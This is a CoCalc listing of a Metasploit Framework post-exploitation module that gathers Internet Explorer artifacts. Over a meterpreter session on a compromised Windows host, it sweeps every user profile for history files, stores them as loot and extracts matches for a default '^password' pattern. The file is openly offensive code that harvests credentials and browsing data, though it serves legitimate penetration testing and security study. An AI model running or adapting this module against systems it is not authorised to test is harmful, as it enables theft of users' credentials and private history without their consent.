CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/ie.rb
Views: 11704
1
# frozen_string_literal: true
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
class MetasploitModule < Msf::Post
9
# this associative array defines the artifacts known to PackRat
10
include Msf::Post::File
11
include Msf::Post::Windows::UserProfiles
12
include Msf::Post::Windows::Packrat
13
ARTIFACTS =
14
{
15
application: 'IE',
16
app_category: 'browsers',
17
gatherable_artifacts: [
18
{
19
filetypes: 'web_history',
20
path: 'LocalSettings',
21
dir: 'History',
22
artifact_file_name: 'index.dat',
23
description: 'IE history',
24
credential_type: 'dat'
25
}
26
]
27
}.freeze
28
29
def initialize(info = {})
30
super(
31
update_info(
32
info,
33
'Name' => 'Ie credential gatherer',
34
'Description' => %q{
35
PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
36
PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
37
Further details can be found in the module documentation.
38
This is a module that searches for ie credentials on a windows remote host.
39
},
40
'License' => MSF_LICENSE,
41
'Author' => [
42
'Kazuyoshi Maruta',
43
'Daniel Hallsworth',
44
'Barwar Salim M',
45
'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org
46
],
47
'Platform' => ['win'],
48
'SessionTypes' => ['meterpreter'],
49
'Notes' => {
50
'Stability' => [CRASH_SAFE],
51
'Reliability' => [],
52
'SideEffects' => []
53
}
54
)
55
)
56
57
register_options(
58
[
59
OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),
60
OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
61
OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
62
# enumerates the options based on the artifacts that are defined below
63
OptEnum.new('ARTIFACTS', [
64
false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|
65
k[:filetypes]
66
end.uniq.unshift('All')
67
])
68
]
69
)
70
end
71
72
def run
73
print_status('Filtering based on these selections: ')
74
print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
75
print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
76
print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
77
78
# used to grab files for each user on the remote host
79
grab_user_profiles.each do |userprofile|
80
run_packrat(userprofile, ARTIFACTS)
81
end
82
83
print_status 'PackRat credential sweep Completed'
84
end
85
end
86
87